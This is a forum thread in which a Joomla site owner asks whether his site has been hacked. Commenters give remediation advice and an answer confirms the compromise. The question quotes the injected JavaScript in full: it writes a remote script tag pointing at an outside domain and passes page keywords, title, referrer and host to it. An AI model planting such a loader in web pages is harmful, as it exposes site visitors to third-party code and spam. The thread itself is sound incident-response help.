When the website is opened, I notice a message on the lower left hand side of the page with an unfamiliar address. Examining the source code I see the following:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://www.blackdragon.fr/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://www.blackdragon.fr/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

Have I been hacked? Advice would be appreciated. -Carter

  • Update Joomla. Update all extensions. Update all passwords (cpanel, ftp, admin etc). Try to find the source of the issue.
    – Lodder
    Commented Mar 21, 2016 at 13:31
  • Also, whose in charge of the server? Is this is a vm or actual box you manage can log into? If your folder/file permissions are not strict enough, imnediately check the PHP template files in question to ensure code was not inserted. iIt's possible your server has been compromised. Commented Mar 21, 2016 at 14:57
  • Joomla and all extensions are up to date. The site is on rackspace. I agree and I'm looking for the source of the problem. Commented Mar 21, 2016 at 15:19

1 Answer 1


Yes, your site has been compromised.

Please, review the following checklist:

Security Checklist/You have been hacked or defaced https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced

More info: What to do if my Joomla website got hacked?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.